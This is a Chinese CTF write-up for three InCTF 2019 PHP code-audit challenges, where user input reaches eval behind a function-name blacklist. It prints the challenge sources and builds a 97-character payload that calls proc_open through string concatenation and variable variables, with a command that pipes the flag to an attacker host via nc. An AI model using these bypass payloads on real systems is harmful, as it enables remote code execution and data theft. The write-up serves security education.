InCTF 2019 - (PHP+1, PHP+1.5 and PHP+2.5) 三题深度复现

2019-09-30 约 463 字 预计阅读 3 分钟

声明:本文 【InCTF 2019 - (PHP+1, PHP+1.5 and PHP+2.5) 三题深度复现】 由作者 Rebmal 于 2019-09-30 09:12:42 首发 先知社区 曾经 浏览数 729 次

感谢 Rebmal 的辛苦付出!

题目描述

这篇writeup是关于这次比赛 PHP+1, PHP+1.5PHP+2.5这三道代码审计题目的。我们可以用同一个payload来解决这三道题目。这三道题的考点是全部相同的: Bypass the WAF and get a shell

题目分析

首先看第一道题(PHP+1),打开题目链接就能直接获取到题目代码

<?php
// PHP+1
$input = $_GET['input'];

function check()
{
    global $input;
    foreach (get_defined_functions()['internal'] as $blacklisted) {
        if (preg_match('/' . $blacklisted . '/im', $input)) {
            echo "Your input is blacklisted" . "<br>";
            return true;
            break;
        }
    }
    $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
    unset($blacklist);
    return false;
}

$thisfille = $_GET['thisfile'];

if (is_file($thisfille)) {
    echo "You can't use inner file" . "<br>";
} else {
    if (file_exists($thisfille)) {
        if (check()) {
            echo "Naaah" . "<br>";
        } else {
            eval($input);
        }
    } else {
        echo "File doesn't exist" . "<br>";
    }

}

function iterate($ass)
{
    foreach ($ass as $hole) {
        echo "AssHole";
    }
}

highlight_file(__FILE__);
?>

上面的代码简单来说就是,我们需要传入两个参数:inputthisfile
对于参数thisfile我们可以给它传入一个目录路径来绕过is_filefile_existes这两个函数的检测。
绕过这两个函数的检测之后,接下来我们要想办法绕过check函数,这个函数将获取所有PHP的系统内置函数,并检查我们的输入是否含有这些系统内置函数。如果检测到输入了系统内置函数,那么就会被check。

下一道题(PHP+1.5),同样直接打开题目链接就能获取到题目源码,源码如下

<?php
// php+1.5
$input = $_GET['input'];

function check()
{
    global $input;
    foreach (get_defined_functions()['internal'] as $blacklisted) {
        if (preg_match('/' . $blacklisted . '/im', $input)) {
            echo "Your input is blacklisted" . "<br>";
            return true;
            break;
        }
    }
    $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
    if (preg_match("/$blacklist/i", $input)) {
        echo "Do you really you need that?" . "<br>";
        return true;
    }

    unset($blacklist);
    return false;
}

$thisfille = $_GET['thisfile'];

if (is_file($thisfille)) {
    echo "You can't use inner file" . "<br>";
} else {
    if (file_exists($thisfille)) {
        if (check()) {
            echo "Naaah" . "<br>";
        } else {
            eval($input);
        }
    } else {
        echo "File doesn't exist" . "<br>";
    }

}

function iterate($ass)
{
    foreach ($ass as $hole) {
        echo "AssHole";
    }
}

highlight_file(__FILE__);
?>

这道题和之前那道题的不同点在于,我们的输入会再被参数blacklist过滤一遍。所以在上一道题甚至可以用eval去执行一些代码。因为eval并不是一个函数,详情见PHP手册英文版(中文版翻译有误差)。PHP手册中写到eval是一个language construct。进一步查询可以知道,在PHP中有很多words都是language construct

最后再来观察第三道题(PHP+2.5),源码如下

<?php
//PHP+2.5
$input = $_GET['input'];

function check()
{
    global $input;
    foreach (get_defined_functions()['internal'] as $blacklisted) {
        if (preg_match('/' . $blacklisted . '/im', $input)) {
            echo "Your input is blacklisted" . "<br>";
            return true;
            break;
        }
    }
    $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
    if (preg_match("/$blacklist/i", $input)) {
        echo "Do you really you need that?" . "<br>";
        return true;
    }

    unset($blacklist);
    if (strlen($input) > 100) {  #That is random no. I took ;)
        echo "This is getting really large input..." . "<br>";
        return true;
    }
    return false;
}

$thisfille = $_GET['thisfile'];

if (is_file($thisfille)) {
    echo "You can't use inner file" . "<br>";
} else {
    if (file_exists($thisfille)) {
        if (check()) {
            echo "Naaah" . "<br>";
        } else {
            eval($input);
        }
    } else {
        echo "File doesn't exist" . "<br>";
    }

}

function iterate($ass)
{
    foreach ($ass as $hole) {
        echo "AssHole";
    }
}

highlight_file(__FILE__);
?>

PHP+2.5与上面两道相比,它的限制条件更加苛刻,要求参数input的长度小于100字符

构造Payload一穿三

第一步是想办法执行phpinfo(),然后在phpinfo中查找disable_functions。想办法找到可以利用的函数去getshell。仔细查找之后,发现.$不在$blacklist里面。这两个字符将会有助于我们绕过preg_match的过滤。
我们可以利用PHP字符串拼接的方式去构造出phpinfo,payload如下

$a=p.h.p.i.n.f.o;$a();

虽然这种拼接方式,php可能会报一些警告,但是并不会报错。是能够正常执行的。

我们利用拼接好的payload去尝试读取phpinfo。成功读到phpinfo。disable_functions如下

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,system,shell_exec,popen,passthru,link,symlink,syslog,imap_open,ld,error_log,mail,file_put_contents,scandir,file_get_contents,readfile,fread,fopen,chdir

仔细观察,发现proc_open函数并没有被ban掉。这也是一穿三的关键所在。查看proc_open的函数手册,我们发现这个函数需要传入三个参数:我们想要执行的命令和两个数组。第一个数组是一个文件描述符的数组。就像下面一样

array(
    array('pipe' => 'r'),
    array('pipe' => 'w'),
    array('pipe' => 'w')
);

而在利用它来直接构造payload的时候发现,如果直接将其加入payload,会造成payload超出限制长度的问题。这时候可以巧妙的利用$_GET请求来发送数组。本地测试如下

payload = " arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w "

为了调用proc_open,我们可以再次使用PHP字符串拼接的方式。但是这时候遇到一个问题,我们发现下划线居然被过滤了,简直丧心病狂。最后可以拼接出一个chr函数。利用ascii编码来绕过下划线过滤

$b=ch.r;$u=$b(95);

然后将构造好的下划线拼到proc_open

$e=pr.oc.$u.op.en;

接下来我们需要想办法构造一个GET传参,以获取传入的描述数组。可以利用PHP的可变变量去构造,先构造一个_GET,然后再$$_GET,即可。

$k=$u.G.E.T;$g=$$k;

现在,一切都准备好了。再来回顾一下,proc_open需要三个参数(要执行的命令, 一个索引数组, 命令的初始工作目录)
我们可以使用currentnext这两个函数去构造payload。但是这时需要注意的一个问题是。URL上的第一个变量一定要是我们要执行的命令,第二个变量是描述数组

我们可以利用以上条件,将payload构造成大概长这个样子

http://challenge-address/?p=command&arr[][]=descriptor-array&input=payload&thisfile=/var/

但是有个问题,我们不知道应该怎么去查询flag文件的位置。这时可以使用glob函数去寻找文件

eval('echo im'.'plode("a",gl'.'ob("*"));');&thisfile=/var/
// 这里有个取巧的地方是,我们只在第一道题查询了flag文件的位置(只有第一道题能够使用eval)。然后在后面两道题目中我们猜测flag的位置是固定不变的。事实证明,果然如此。

我们准备读取/flag文件,但是发现权限不够。这时候发现同目录下面还有一个/readFlag的可执行文件。利用这个可执行文件,顺利拿到flag。

关键部分payload构造如下

$b=ch.r;
$u=$b(95);
$k=$u.G.E.T;
$c=cur.rent;
$n=ne.xt;
$g=$$k;
$e=pr.oc.$u.op.en;
$e($c($g),$n($g),$j);
// proc_open(current($$_GET),next($$_GET),$j);

完整payload如下(input最终长度为97个字符)
http://xxx.xxx.xx/?p=/readFlag /flag | nc your-ip port&arr[0][]=pipe&arr[0][]=r&arr[1][]=pipe&arr[1][]=w&arr[2][]=pipe&arr[2][]=w&input=$b=ch.r;$u=$b(95);$k=$u.G.E.T;$c=cur.rent;$n=ne.xt;$g=$$k;$e=pr.oc.$u.op.en;$e($c($g),$n($g),$j);$thisfile=/var/

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now